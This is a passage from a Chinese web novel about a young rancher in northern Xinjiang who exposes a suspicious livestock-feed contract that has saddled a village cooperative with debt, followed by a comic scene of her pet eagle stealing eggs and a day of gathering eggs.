她也提了这事儿，可据她所知，基本没怎么囤。 难不成全指望那个破饲料？以他们账上的钱能撑到明年卖羊吗？而且那羊收购可还是有条件的啊？ 姚新泉见到她的表情便心里有数了，她也叹了口气，“周姨你又是会计，出纳的活儿也都是你在干，到时候估计还不好脱身啊，尤其是涉及到钱的事情。” 周会计急了，语速不禁加快，“这跟我有什么关系？又不是我非要买那破饲料的？我又没有决定权！” “话是这样说，但是”，姚新泉脸上多了两分为难，周会计见状拉着她的手脸上满是认真，“闺女你直接说，你有学问，是大学生，懂得比我多，我也想听听你的意见。” 姚新泉想了想还是道，“那我就直说了啊！我记得会计好像是有义务去做成本核算的，要分析成本，还得提相关的意见，你提了吗？或者说有记录吗？还有就是，你是不是也需要去审核相关的付款呢？”她露出个有些尴尬的笑意，“我不是学财务的，也只是随便一说罢了。” 周会计嘴里喃喃着什么也不往前走了，姚新泉两人也不催，就站在原地等她。 半晌周会计拍了下大腿，“闺女，你这样一说我都开始心慌了，那钱我可不敢动一分一毫，别到时候都成了我的问题。” “恕我冒昧地问一句啊，到底为啥非要吃那么多饲料呢？你羊娃子到现在撑死了四个月，也没到育肥的时候啊？” 周会 计看了看她，脸上表情很是纠结，过了许久她像是终于下定了决心一样拉着姚新泉往屋里走，师月江自然地跟在两人身后。 等进了屋，周会计把门关上，拉着她表情很是郑重，“闺女，这话我只跟你说，出去了你说是我说的，那我可是不认的。” 姚新泉点了点头，就见周会计拉开自家的一个柜子，从里面翻出了一个文件夹，又掏出了几张纸递给姚新泉，姚新泉看到后愣了一下，没忍住问，“合同你就直接放家里？” 周会计自然知道她是什么意思，苦笑道，“这不是没办法嘛？村委会那边那几间办公室平时都没锁门的，来来回回还有小孩儿在那玩儿，万一给我撕了，那我才说不清了呢！” 姚新泉点了点头接过合同看了起来，师月江自然地站在她身后一起看，周会计嘴巴动了动，到底什么也没说。 算了，反正一个人知道还是两个人知道也差不了多少。 “乙方必须每月从甲方购买不少于五吨的特制饲料，单价按市场价的120%计算”，姚新泉看着这个条款头都大了，她看向周会计，周会计也只是苦笑，示意她继续往下看。 “若乙方饲养的牲畜未达到甲方验收标准，甲方有权拒收或按市场价60%收购，若达到甲方的验收标准，甲方则按照市场价格的130%收购”，姚新泉深深吸了一口气，“这个验收标准是什么？” “附件里有。” 姚新泉赶紧翻到了最后一页的附件，就见里面约定了甲方的所谓的验收标准，健康没有任何疾病这一点很正常，但是对方要求的是羊必须得达到55公斤的体重啊！ 姚新泉开始头痛了，“到底为什么会签这个合同啊？” 周会计心里着急，“什么意思，合同问题很大吗？” 姚新泉苦笑，“你不会真以为羊养到55公斤很容易吧？” “我去年养了一批羯羊，也就是全都煽过的小公羊，我从九月份育肥到12月左右出栏，平均重量大概是57公斤，你是不是觉得还挺容易达标的？” 周会计讪讪一笑，姚新泉也不计较这个，她之后就把自己怎么伺候那些祖宗，怎么给它们调整饲料这些事情全都讲了一遍，不说周会计，就连师月江都觉得复杂。 去年这时候他还不认识姚新泉，所有的一切都是她自己在操劳，她得多累啊！ “你们养羊是像我这样养的吗？有隔三岔五给它们调整饲料配方吗？我就这样，平均才57、58公斤，还是专门挑的体格子好的羊，那你们随意养一养，又凭什么能到55公斤呢？” “而且你们的羊是羯羊吗？我相信公羊肯定是煽过的，那是不是还有母羊？母羊育肥会慢一些，更难达标啊！如果体重不达标，按照合同约定，按照市场价格的60%收购，你们得亏多少？” “还有那个饲料，每个月不少于五吨，还是按照市场价格的1.2倍，现在市面上的精饲料大概是800-1500一吨，像我去年折合下来900多一吨，1.2倍那就是1100左右，你们的饲料价格不会低于这个的，是吗？” 周会计没忍住擦了下脸上的汗，“1250。” 姚新泉忍了好久才忍下到了嘴边的话，还1250，她看这些人才是250！一群250！ “就算按照一个月5吨来算，这就是6000多了。现在是牧场上还有草，等到11月底，一下雪之后那可就没草了，你们也不囤饲料，不打草，等冬天难不成就吃买来的饲料？这样一个月30吨都不够！我就给你按30吨来算好了，那一个月光饲料可就要37500元，12月、1月、2月、3月，我就算四个月好了，你们是打算花上15万买饲料是吗？” 周会计被15万这个数字给打击到了，她倏地站了起来，拉着姚新泉就要往外走，“走，去找书记跟村长，不能继续这样了！” 这个钱她兜不住，赵明和叶尔江也兜不住！ 姚新泉没反抗，跟着周会计一起往外走，师月江自然是跟了上去。周会计老公见状赶紧问，“油葵还要不要了？” 周会计根本懒得理他，径直往村委会走去。 三人到的时候赵明和叶尔江都在，见三人一道过来了还觉得挺奇怪的，“你们怎么过来了？” 赵明两人这段时间心情很是不错，从村民手里租来的地，今年算是丰收了。 虽然也受了些之前大雨的影响，但是别的地方今年多多少少都有些各类问题，所以粮食价格很是不错，算起来今年可比去年赚的多，所以两人也算是志得意满！ 周会计黑着脸将捏在手里的合同啪地拍在了桌子上，赵明不满地看了过去，等发现这是合同后脸色更是难看，“你这是做什么？合同里约定了要保密，你是一点不记得啊？” 他目光瞥了瞥姚新泉心里还挺不高兴的，他觉得姚新泉肯定是听到了什么风声，觉得自己没拉她一起，所以她才不高兴了，跑过来挑拨离间。 他清了清嗓子看向姚新泉，“小姚啊，事情不是你想的这样的，我们也没有把你排除在外的意思，主要是上次拉你参加合作社你也不同意，这次又是合作社的事情，再加上人家要求了要保密的，所以确实不能跟你说。等来年吧，来年我们跟对方商量商量看看给你个机会带你一起？” 姚新泉不置可否，眼神却冷了下来。 不等她说什么周会计先冷笑一声，“还来年？我们怕是等不到来年就得被银行把咱的地都收走！” 她家之前是在别的地方开了荒，才有地种油葵的，连到一片的地可全都租给合作社了，要是被收走了…… 周会计两眼一黑。 第193章 赵明不知道周会计在说什么,但是听到她在姚新泉二人面前说这些心里就很不高兴，脸上也带出来了。 “小周，你把这些事情跟外人说,我们还没追究你呢,你可别在这没事儿找事啊！” 周会计嗤笑,“那个破保密协议是他们要求我们签的,是防着我们。现在你说他们要追究我的责任,你的意思是,你要去他们那边举报我泄露对方的商业机密是吗？” 赵明的脸黑了，叶尔江见状赶忙打圆场，“好了好了，大家都是自己人,闹起来也不怕别人笑话。” 姚新泉轻哼了一声,别人是谁？这里的别人不就是自己和师月江吗？ 姚新泉把周会计拍在桌子上的合同拿了过来,摊摊平了重新放在桌子上，指着合同中刚才自己提到的两个条款问两人，“你们注意到这两条了嘛？” 赵明心里的不满都要溢出来了,他又瞪了周会计一眼,不太想跟姚新泉说话。 说什么呢？ 姚新泉的户籍虽然在这里，但是她又没有加入合作社,平时也不怎么参与村里的事务,像是一个游离在村子之外的人,现在倒管起村子的事情了,真以为自己认识几个领导就了不起了是吧？ “这跟姚同志有什么关系？”他拍开叶尔江扒拉自己的手，他已经不高兴很久了，姚新泉有什么事情都跳过他们村，跳过镇上,直接找到县里去，镇领导好几次都是事情出来很久才知道原来是自己镇上的事情，因为这还找他谈话过，让他多了解管束自己村里下辖的人。 他没因为这些事情找到姚新泉，姚新泉倒来找自己的麻烦了？ “跟对方公司签合同是合作社的社员表决同意通过的，在这个情况下，我们按照合同约定去采购人家的饲料又有什么问题？我们用了人家的饲料，羊长得特别好，你不就是想说这饲料贵嘛？贵有贵的好处，一分价钱一分货，你怎 么没看到合同还约定了人家会按照市场价的1.3倍收购呢？” 他们也不是傻子，他们村里也有常年养羊的人，也问了人家羊的这个生长速度怎么样，别人都说长得快，大家的眼睛都是雪亮的！ “姚同志”，赵明嘴角带着嘲讽的笑意，“我知道你见多识广，认识的人也多，你自己也是干牧场的，同行相轻我们都能理解，但不能说因为你认识的领导多，你就能对咱们合作社的事情指手画脚了吧？” 叶尔江扶额，周会计在一旁板着脸不说话。 之前赵明瞧着还可以，但自从今年合作社算是丰收了开始，这人就彻底飘了，也不知道是本性就是这样还是怎么回事，反正她现在是很后悔当初选举的时候选他上来！ 她可真是瞎了眼！ 师月江在一旁脸上表情很是不好看，“这事儿本来跟我们也没什么关系，你们就算赔掉裤衩子也影响不到我们牧场。但也麻烦你想想清楚，这要是真赚了也就罢了，要是赔了我倒要看看你一个小小的村书记能不能顶住这塌了的天！” 说完师月江拉着姚新泉的手腕就往外走，姚新泉深深地看了赵明一眼没反抗，跟着师月江就出去了。 她本来也气，为什么不气？好心当成驴肝肺，赵明那人话里的阴阳怪气都要溢出来了！ 但看着师月江难得的冷脸她又莫名觉得有点好笑。 姚新泉晃了晃他的手，“生气了？” 师月江回过头看她，见她还嬉皮笑脸的没忍住戳了戳她的脑袋，“你就傻乎乎地站在那被人骂！” 姚新泉不敢置信地指着自己，“我？傻乎乎被骂？” 这话是形容自己的？ 不过他也是为了自己好，姚新泉也不跟他犟，在师月江想要回去的时候她扯了扯对方的衣服，“去县委。” 师月江一顿，嘴角这才勾起了笑意。 他话里话外不是说自己认识两个领导就牛气起来了吗？她之前不觉得，但既然人家都这样说了，她不去告状都对不起对方那一通阴阳怪气！ 两人算是县委的常客了，做了登记后径直去了石副县长办公室，他的秘书也认识两人，笑着让两人稍等进去通报了。 没一会儿石副县长自己便出来了，笑道，“你俩咋有空来县委了？”说着还笑着调侃，“大忙人啊！” 前两天姚新泉还让师月江给他送了一只珍珠鸡过来，他想了想收了，不过也回了礼，算不上犯错误。 “我们来告状来着！”姚新泉大剌剌的话让秘书都侧目，石副县长愣了一下更是笑了，“行行，进来说吧！” 他是真挺喜欢这两个年轻人的，年轻有为，最重要的是心正，从乌洽会回来后他立马就介绍了两人入党，党组织已经找两人谈过话了，现在两人已经是入党积极分子，他不免觉得更亲切了些。 本以为姚新泉在开玩笑，可是听了她说的话后石副县长眉毛都竖起来了。 他当初因为一万五的费用拒绝了蜂蜜出口，结果自己治下的一个村，竟然敢4个月喂掉15万的饲料？ “那是什么羊？金羊吗？吃得什么饲料？金饲料吗？养出来的羊以后打算进贡给皇帝吗？” 开什么玩笑，要是没有这一批的订单，他们县一年得财政收入才多少钱？一个村就敢这样搞？ “你去找他们了吗？怎么说得？” 他虽这样问，但实际上心里已经有了猜测。姚新泉不是那种一点不懂事儿的年轻孩子，她做事还是比较讲究得。 之前直接对接县里也都是有原因的，一层层报上来多浪费时间啊！ 但这次不一样，虽说是合作社做的决定，但合作社领导不就是他们村干部？她肯定去找过。 果不其然，姚新泉说她去过，接着讲了对方说了什么话。“他那个意思是我多管闲事，我也是养羊的，所以我见不得别人好，还说我总是喜欢越级上报，说我仗着认识你们这些领导就不把他们放在眼里了！” 她才不管有没有添油加醋呢，反正她听到的就是这个意思！ 石副县长黑了脸，他深吸一口气，朝外面喊了一声，等秘书进来后让他把镇领导请过来。 再过两个月黄县长就要被调到市里去了，算是退休前给他升了一级，不过大家也都知道，他是在给石副县长腾地方。 他做出了一些成绩，肯定要把这些稳定好了之后再往上走，石副县长也希望能有机会把县里发展得更上一层楼，也不枉他来这边一趟。 上面调令虽然还没下，但是也已经内部通知黄县长和他了，黄县长可一点意见都没有，他还以为自己会在县长这个位置上退呢！ 如今能升一级，退休待遇都不一样，怎么能不高兴！ 所以他也卖石副县长的面子，回来就给他踏平了前面得障碍，也明确给下面的局长、镇长等告知了，自己下一任是石副县长，这也让石副县长如今在县里的决策更吃得开了。 这不，他这边电话刚打出去，那边也就四十分钟吧，镇长就到了。 镇长李全不知道对方叫自己什么事情，生怕这新官上任三把火在还没上任的时候就烧到了自己头上，所以紧赶慢赶跑了过来。 他一进办公室见屋里还有一对年轻男女觉得有点奇怪，但还是朝对方点了点头。 “石县长，不知道您找我是？” 石副县长打断了他的话，指着姚新泉二人介绍，“他们俩是你们镇下面哈拉苏村的姚新泉跟她对象师月江，你应该听过对吧？” 李全一愣，目光忍不住落在了姚新泉身上，他知道姚新泉，也认识姚新泉的爸爸，或者不能说认识，只能说是知道，对方可以说是县里第一个私人出来养羊的老板，只是英年早逝了。 他们没打过什么交道，倒是对方的女儿…… 李全收起了那些思绪，笑着朝姚新泉两人打了声招呼，姚新泉两人也笑着点了点头维持了表面的平和。 石副县长懒得处理这些寒暄，他开门见山，“你知道哈拉苏村在帮一家公司搞代养殖吗？” “代养殖？”李全不禁反问，他确实是没听过。 石副县长见他表情不似作假，忍不住冷笑，“看来哈拉苏村的村干部只是记住了你们镇上开大会的时候说小姚他们不好的话，倒忘了把重要的事情汇报给你们镇上领导了！” 不怨他生气嘲讽，也不是他挑刺，主要是那个哈拉苏村可是贷款了！还是用的村里土地的承包使用权去贷款的！ 他就不信了，这么大的事情，镇上会不知道？ 如果不知道，那他们的工作就存在很大的漏洞，如果知道，下面村里的合作社干了这么一件大事，贷款这么多钱，镇上领导竟然知道了也不调查甚至是阻止？ 是该说他们太失职还是胆子太大了？ 李全心里一跳，目光在姚新泉身上停留了一瞬赶忙解释，“县长您误会了，我们镇上开会从来没有说过姚同志什么不好的话，这里面一定有误会！姚同志为县里做的贡献有目共睹，我们怎么可能去说她不好？” “是副县长”。 第194章 石副县长表情难看,不是他不给人面子，实在是这人找不着重点，现在是说姚新泉的时候吗？ 就算他们真背后嘀咕姚新泉不好又能怎么样？只要他不明目张胆穿小鞋,难道自己还能因为他说了两句不好听的话就对他怎么样？ 现在重要的难道不是哈拉苏村的事情吗？ 那么大一笔钱,一旦有个万一,钱还不上了,到时候地怎么办？真给银行？ 那老百姓活不活了？ “我很想知道,谁给它 们的全力拿村里的地去抵押贷款的”,石副县长气得不行。 要发展经济，谁都知道要发展经济，但是路得一步一步走，现在走都不会,就开始大步跑,这不就扯着蛋了？ 李全哽住了,他想了想低声解释，“他们想发展经济，开了合作社,从村民手里租地也得给钱,村里账上没钱，就只能去贷款,但村里也没有别的值钱的东西去抵押,又不是小额贷款,所以也是没办法的事情。” “没办法？”石副县长气笑了,胆子太大了，胆子太大了！ “就不能协商等地里的东西卖了再给钱？”不是他欺负老百姓，事实上就算老百姓自己种地，那也得等作物成熟了才能有收入,而且前期还得投入种子、肥料等等费用，等收获了一起给为什么不行？ 至于种子肥料，去借啊，去想办法啊，去镇上要钱啊！ 他们倒好，本事不见得有多大，胆子倒是不小，上来就去贷款？ 谁给他们的勇气啊？ “我得好好查查这一个个敢捅破天的家伙们都干了些什么！” 石副县长头疼，上面必须得把方向把控好了，下面确实得有自主性，但是权力如果放的太大，那些人太不可控了，真出了问题，这锅谁来背？最重要的是，老百姓的损失谁来弥补？ “现在先提哈拉苏村的事情，那个代养殖一个月就得花掉六七千块钱去买饲料，过个冬得花掉十五万，你说说，你觉得靠谱吗？” 李全闻言眉头皱了起来，这都不是靠不靠谱的问题了，这是骗子吧？ 他浑身一抖，表情带了一丝不敢置信，“不会真是骗子吧？” 石副县长瞪了他一眼，“等你发现，黄花菜都凉了！你回去给我好好整顿整顿基层干部，签了什么狗屁保密协议还真就这么大的事情也不往上面报，赔了难道是他往里贴钱吗？” 石副县长骂了几句后不想再看到他了，让他赶紧滚。 等他走了后石副县长又赶紧把公安局的正副局长都叫了过来，把事情给它们交代后让他们赶紧去查，这才松了口气，“希望损失再可控范围内吧！” 姚新泉两人对视一眼，如果能停在现在那一切都还好说，毕竟前期的投入虽然也不小，好歹还有羊在，至少后面冬天可别用那狗屁饲料了！ 赶紧囤粮过冬吧！ 两人没再多留，跟石副县长告辞后便回去了，这后面的事情也没必要由他们来跟进，很多事情也只是信息不通畅，不代表大家都是傻子。 那些阴沟里的蛆虫一旦被发现，被碾死只是迟早的事情。 现在比较重要的事情是家里这些鸡鸭基本都开始产蛋啦！ 本来按照她计算的，珍珠鸡差不多是10月份产蛋，绿头鸭是11月份产蛋，但是珍珠鸡一直拖到了11月份才开始产，跟鸭子撞上了。 姚新泉这几天事情多，没怎么关注家里的小动物们，这天突然发现小金嘴里叼着什么东西。 “小金，过来！”她喊了一声，把胳膊伸了出去，等她像往常一样落在自己胳膊上。 但没想到这小家伙先是在天上顿了顿，随后便是跟什么都没听到一样飞走了。 飞走了？ 姚新泉愣了一下，“月江”，她朝师月江喊了一声，正在收萝卜干和干辣椒的师月江过来问，“怎么了？” “你这两天有没有发现小金不太对啊？” “小金？”师月江皱了皱眉头，“这几天我好像没咋看到她，不是在天上转就是见不着影儿，好像确实不对啊！” 这小家伙还是比较粘姚新泉的，除了每天出去撒欢的时间以外，基本上都会落在姚新泉能看到的地方，姚新泉喊一声，伸出胳膊，她就会过来。 或者有时候没叫她，她也会自己轻巧地落在姚新泉肩膀上，怎么突然见不着她了？ 姚新泉越想越不对，“应该也不是在外面找别的鸟了”，金雕性成熟的年龄大概是四到五岁，就算因为她算是半人工养育的，成熟的比较早，那也是三岁左右啊！ 小金现在也就刚一岁，怎么可能出去找别的鸟！ 那是为了什么呢？ 姚新泉把手套脱了打算去她的窝看看，小金现在只要待在家里还是喜欢睡在屋里师月江之前给她做的窝里。 不过那窝已经更新换代了，一进去就能见着一个巨大的树杈子上面摆放了两个鸟窝，一个位置更高、更大，直径都快有一米了。 为了稳固住，师月江在底下还做了不少加固，不然谁知道小金会不会睡着睡着家塌了？ 至于位置更低矮的那个窝是红隼的，也是师月江给做的。 “你看被折腾的”，姚新泉满脸嫌弃地指着红隼的窝，“肯定是小金干的！” 师月江莞尔，可不是？ 本来他们俩的窝也就是大小不一样，但是小金不乐意啊！小金见到对方的窝就生气了，上去就把里面垫着的麦草抽得到处都是，还把那窝搞得东倒西歪的…… 师月江给重新修补了一次，小金又给弄坏了，两人这还有什么不明白？ 她也允许红隼在这个树杈子上搭窝，但是窝要小、要矮，要破破烂烂！ 两人本来想重新给红隼找个地方，但人家自己还不乐意，非要贴着他大姐！ 反正是一个愿打一个愿挨，就这样吧！ 师月江搬了个凳子过来踩着凳子上去看了看，没一会儿他捏着个东西下来了递给姚新泉。 “这是什么？”姚新泉接过后凑近看了看，还闻了闻，“感觉是什么蛋壳？” 师月江又去红隼的窝里看了一圈，果不其然也有。 两人看着手里的东西突然反应过来，“是蛋壳，是珍珠鸡蛋壳和草原绿头鸭的鸭蛋蛋壳！” 她眼中闪过了然，“我说呢，我说她怎么都不敢站我胳膊上，原来是心虚啊！” 她又举着那比一般鸡蛋壳要厚一些的珍珠鸡蛋壳还有偏绿的鸭蛋壳气笑了，“发现家里鸡鸭下单了，她不说通知我，还自己偷着吃了！” 她看了眼手上的那一把碎蛋壳都无语了，“看样子还吃了不少？” 师月江也笑得不行，“我估计味道不错，怕你去捡了蛋后不给她吃，想趁着没发现，多吃一点。” 姚新泉白了他一眼，“家里的东西什么不是紧着他们吃？还跟我在这玩儿心眼子？” 她哼了一声抓着蛋壳就出了屋子，她抬头看了一圈，虽然没见到小金，但是她能猜到小金肯定就躲在哪里看着她呢！ 姚新泉板着脸把手上的蛋壳举高，“小金，我已经找到你作案的证据了，你现在赶紧给我下来自首我还不抽你，不然我就罚你一个月不许吃蛋！” “啾！”屋顶上突然传来鸟叫声，姚新泉哼了一声也没伸出胳膊，就见小金着急忙慌地从屋顶上飞了下来，然后想落在她身上，但见姚新泉不乐意，她着急得在上空盘旋。 师月江见她那幅模样又心疼又好笑，张开了怀抱，小金眼睛一亮，小心翼翼地落在他的怀里，让师月江抱住。 姚新泉见她一副委屈巴巴的模样气得直戳她脑门儿，“几天了啊？你发现鸡鸭下蛋了竟然不告诉我们，偷着吃是吧？” “臭丫头！”她戳戳戳，小金把头搭在师月江的肩膀上臊眉搭眼的，半晌轻轻啾了一声，伸着脖子往姚新泉那边凑，姚新泉气笑了，但还是把她接了过来。 “你要再这样你就等着，你看我不揍你！”想到还有别的犯罪分子又气了，“之前是让你看管红隼，结果你倒好，狼狈为奸！好的没学着，学坏一出溜是吧？” 红隼刚来牧场就弄死了两只珍珠鸡，现在可好，又跟在小金后面偷蛋，可真行！犯罪老手了啊！ 姚新泉说着，转头看向师月江，“去把红隼也给我抓过来，肯定就在附近呢，这俩谁是主犯谁是从犯还真不好说！” 师月江笑着应了一声，放下手里的东西，转身去抓红隼。 红隼本来正躲在角落里偷偷观察呢，见师月江朝自己走来，吓得扑棱着翅膀就想飞走。 师月江眼疾手快，一把就把它给抓住了。 “看你还往哪儿跑！”师月江提着红隼的翅根走到姚新泉面前，把红隼也往她怀里一塞。 姚新泉干脆坐在地上，两个小家伙挤在她怀里都要抱不住了。 红隼在姚新泉怀里瑟瑟发抖，小眼睛不时地偷瞄姚新泉。 见她这样小金也不高兴了，啾啾啾地朝她叫了一通，还要去啄她。 红隼像是害怕一样，一会儿看一眼姚新泉，一会儿看一眼小金，还得躲着小金的攻击。 小金更气了！ 姚新泉失笑，教训了一通后便把两个小家伙放走了。 现在还有更重要的事情，捡鸡蛋去喽！ 第195章 家里牧场上养家禽的一片是单独隔出来的,姚新泉和师月江两人骑着三轮车过去的，没带其他小家伙，小金都禁不住诱惑偷吃蛋了,谁知道别的小家伙会不会？ 别到时候没捡着 多少蛋,他们倒吃了个肚饱！ 两人到了被隔离开的这片区域,年初刚打的围栏,上面还用铁丝网围了起来,围的比较高,一方面是怕有野生动物会过来偷，另一方面家里这些鸡鸭鹅没剪翅膀，也怕它们偷摸着飞走了。 珍珠鸡和伊犁鹅相对好一点，野生珍珠鸡具有一定的短距离飞行能力,但人工散养的因长期适应地面生活,飞行能力较弱,通常只能短距离扑腾或低飞，不至于飞出去。 伊犁鹅是从雁类驯化而来，虽保留一定飞行潜力,但体重和体型导致飞行能力远弱于野生祖先,通常仅能短距离低飞。 但草原绿头鸭就不一样了，绿头鸭是典型的迁徙性水禽,具备强飞行能力,可长途飞行。因为人工养殖加上多代驯化,它们的飞行能力受限,但真保不准哪天偷摸就飞走了！ 11月的北疆已经挺冷的，温度降到了个位数，早晨地上已经有霜了，经太阳一晒,倒是化了，不过草上看起来就湿漉漉的，所以现在早晨都不把牛羊放出去，等草上干了才放，鸡鸭倒无所谓，都是散养的。 两人拉开木门后就看到几只珍珠鸡闲适地吃着草籽随处溜达，也没因为两人的到来而被吓到。 鸡鸭鹅都是混养在一起的，没再单独隔开，这也是姚新泉还在纠结要不要扩大规模的原因，一旦数量多了那肯定还是要更规模化地养殖，至少不能啥都混养到一起。 珍珠鸡有着一身蓝灰色的羽毛，上面点缀着白色的圆点，就像一颗颗洒落的珍珠，因而得名，看上去和一般的鸡区别非常大，甚至姚新泉觉得这家伙完全可以作为观赏鸡来养。 “饲养手册上说珍珠鸡喜欢在干燥、隐蔽的地方下蛋”，之前她要求上面给她一份饲养手册，上面确实给了，里面的内容不说全是干货，但对于饲养还是很有帮助的，她还结合了自己的饲养理念重新写了一本，之后搞不好也用得上。 两人轻手轻脚地沿着它们常活动的范围搜寻，眼睛紧紧盯着地面和草丛。姚新泉先是来到了一片长着茂密野菊花的区域，这里的草长得不算高，但也不算矮，正好能为珍珠鸡提供一个相对隐蔽的下蛋场所。 她弯下腰，眼睛仔细地扫视着每一寸地面。突然，她的目光停在了几株已经快枯萎的野菊花下面，那里有一小片草叶的颜色和周围不太一样，显得稍微凌乱一些。 她心中微微一动，轻轻蹲下身子，小心翼翼地拨开那几株野菊花。在手下的草叶被慢慢拨开的瞬间，一颗青灰色的珍珠鸡蛋出现在眼前。 这颗蛋大约比鸡蛋大了一些，蛋壳表面布满了细密的白点，一眼就能分出和普通鸡蛋的区别。 姚新泉脸上露出了欣喜的笑容，她轻轻伸出手，小心把鸡蛋从草丛中取出，放入提的篮子里。 这篮子是师月江闲的没事儿的时候编的，是用芨芨草编的，算不上好看，但是还挺结实的。 她在篮子底下垫了一层柔软的干麦草，防止蛋滚动或者被压破。 接着，姚新泉又来到了珍珠鸡经常栖息的一片刺牙子附近。她知道，有时候珍珠鸡也会选择在刺牙子的下面下蛋。 她找了跟树枝小心拨拉开刺牙子，生怕被扎到，眼睛在下面仔细地寻找着。 突然，她听到了一阵轻微的“咯咯”声，声音是从刺牙子的更深处传来的。 姚新泉叹了口气，把拉链拉到最高处，又把帽子戴好后小心蹲着往里挪。 没一会儿就看见刺牙子的根部有一个小小的凹陷处，里面铺着一些干枯的树叶和草屑，里面隐约露出了一个青灰色的蛋尖。 姚新泉心中一喜，可算没白挨扎。她拽着袖子手往前伸，小心地用手拨开树叶和草屑，一颗、两颗、三颗……一共五颗珍珠鸡蛋出现在她的眼前。 她小心把鸡蛋捡到篮子里后慢慢从刺牙子下退了出去，等出了刺牙子覆盖的区域后这才松了口气。 “没扎着吧？”师月江关切问道，他刚一回头就看到姚新泉钻到刺牙子底下去了，他也不敢出声，生怕吓到她反而被扎。 “没有，我也算是全副武装了，不过得想想办法让它们别乱下蛋，不然天天这样捡我哪儿受得了啊！” 两人又往这片区域的小河沟那边走去，之前他们是引了那眼泉水过来的，但从乌洽会回来后两人拿河水去检测了一次，确认没问题了就把水口子扒开往牧场上引水。 这下鸡鸭鹅们用水就方便多了，估计鸭子要是下蛋也会在那周围。 草原绿头鸭有着一身油亮的绿头，橙黄色的嘴巴和脚掌，身体其他部分则是棕褐色的羽毛，它们在隔离区的小水沟和附近的草地上活动。通常它们下蛋的地方会比较隐蔽，一般会在靠近水边但又有一定遮蔽的草丛里。 两人沿着小水沟的岸边走着，眼睛在周围的草丛中搜索着。她知道，绿头鸭喜欢在水边的高草丛中下蛋，这样既可以靠近水源，又能保证蛋的安全。 突然，师月江看到在一丛较高的芦苇旁边，有一片草丛看起来比周围的要矮一些，而且草叶的颜色也有些发黄。 师月江觉得这里很可能是绿头鸭下蛋的地方，于是他轻轻地走进这片草丛。他弯下腰，用手轻轻地拨开草叶，眼睛在下面仔细地寻找着。 突然，他感觉到自己的手指碰到了一个光滑的物体，他小心翼翼地拨开周围的草叶，一个浅绿色的蛋出现在他的眼前。 这颗蛋的蛋壳颜色比珍珠鸡蛋要浅很多，呈现出一种清新的浅绿色，上面分布着一些不规则的褐色斑点。 师月江轻轻地拿起这颗蛋，又在周围看了一圈确认没有别的蛋了，这才递给姚新泉看，“鸭蛋”。 为了找到更多的绿头鸭蛋，两人又沿着小水洼的岸边继续寻找。 姚新泉来到了另一片长满了菖蒲的草丛前。菖蒲的叶子又高又密，为绿头鸭提供了一个很好的隐蔽场所。 她轻轻地拨开菖蒲的叶子，眼睛在下面仔细地寻找着。突然，她听到了一阵轻微的水声，声音是从菖蒲丛的后面传来的。姚新泉顺着水声的方向，慢慢地拨开菖蒲的叶子。 就见在菖蒲丛的后面，有一个小小的水洼，姚新泉小心拨开菖蒲想看看后面有什么，就见菖蒲丛里传来一阵翅膀扑腾的声音，随后一只绿头鸭丛菖蒲从里飞快地跑了出来消失不见。 “肯定有”，她乐了，不过绿头鸭被赶走了，之后未必还会再这里下蛋，但也无所谓，这边又难找又容易坏，不下还好呢！ 果然没一会儿就看到了一个草窝，里面露出浅绿色的蛋尖，随后三只绿头鸭蛋出现在她的眼前。姚新泉小心捡起鸭蛋，“还热着呢！”其中两颗蛋只是带了点温 度，估计是因为鸭子卧在上面，而另一只则是温热的，应该就是刚才那只鸭子下的。 姚新泉发现自己是真的很喜欢这种跟寻宝一样感觉得活动，像是捡蘑菇她也很喜欢。 两人乐呵呵地捡了半天，把鸡鸭可能去的地方都捡了一遍，也不知道这些家伙下了几天的蛋，鸭蛋差不多有快300个，鸡蛋的话更多，有快500个。 姚新泉看着蛋有点可惜，“这也不知道多久了，这一批就不孵化，都吃了吧！” 师月江自然是没意见，“都听你的。” 鸭蛋的话她是没啥安排的，但是鸡蛋之前把珍珠鸡蛋接回来的时候是答应了要提供600枚种蛋的，只是赵强下去之后这事儿她一时间也不知道该跟谁去联系了。 反正蛋还不够，先不急。 “之前已经做了些初步的准备让它们在固定地方下蛋，但好像没用啊！”姚新泉叹气，这散养就是麻烦，要是圈养的话，就那么大的地方，在哪儿下蛋都能捡着。 “没事儿，咱们再尝试吧！”姚新泉给自己鼓劲儿，一条路走不通那就想办法换条路，试呗！ “咱们先圈一片儿地方”，说完她又顿了一下，这都十一月初了，过不了几天就得下雪，到时候鸡鸭鹅都得转到畜棚去养，现在去训意义也不太大。 “算了，先在它们习惯待的窝里放一枚蛋，让它们尽量在里面下吧，回头到了畜棚那里就好管理了。等明年放出来散养的时候再好好训。” 师月江点了点头，两人又跑去放了些鸡鸭蛋，最终拎着270多个鸭蛋以及400多的鸡蛋回去了。 “鸭蛋我打算都腌了，鸡蛋的话给亲戚朋友都分一分，一家三四十个也差不多就一板，剩下的咱们自己留着吃。” 卖得话不着急，她得考虑考虑是直接卖鸡蛋还是要不要卖小鸡苗，反正又是一堆问题。而且还得先留出600个种蛋呢！ 第196章 话说回李全,他黑着脸骑着一辆自行车回了镇上，到了单位后谁都没理就去打电话了，众人面面相觑不知道咋了。 赵明接到电话的时候脸上还带着笑意,李全也懒得在电话里骂人,只跟他说现在来镇上就挂了电话。 赵明拿着电话有点发愁地看向叶尔江,“会不会出了什么事？” 叶尔江心里有点猜测,但他什么都没说,只是让对方赶紧去。 可能是血脉里带着的本事,他虽然没正儿八经养过牛羊，但是也能觉得事情不是特别对，哪有散养羊还天天补精料的？ 又不是冬天？况且就算冬天这边老百姓养羊也基本都是喂些麦草或者是别的干草，饿不死就行了,哪里有那么多精料可以喂？ 前两年好多人可连饭都吃不饱呢！ 所以他确实觉得不对,但这事儿他不是太好出头。 这事儿是赵明牵头的,他又是村里本地人，他自己家里就有四个兄弟，堂兄弟什么的也好几个,再加上各路姻亲,虽然说大多数都不在村里，但是村里也有□□户是跟他有实实在在的亲戚关系。 而他叶尔江是从外地调来的书记,在本地没什么根基,他和赵明没矛盾的时候也就罢了,一旦有矛盾,村民们选择帮谁这不是一目了然？ 所以最开始他是委婉提了些不对，但对方没听，他想了想也没再插手，毕竟这事儿干好了自己未必能得利,干不好最起码还有赵明兜着。 当然了，他也知道如果真有问题的话他也讨不着好。 姚新泉那两个小年轻才走，镇上就叫赵明过去，说跟他们没关系他都不信！ 说起他们两个，叶尔江心里也不是没有意见的，可是就算镇上跟姚新泉他们不睦，但是跟他们有什么关系？ 他们俩也不是谁的嫡系，就算哪个领导将来升上去了，他们也不会成为所谓被带飞升的鸡犬，那何必上赶着给别人找不痛快？ 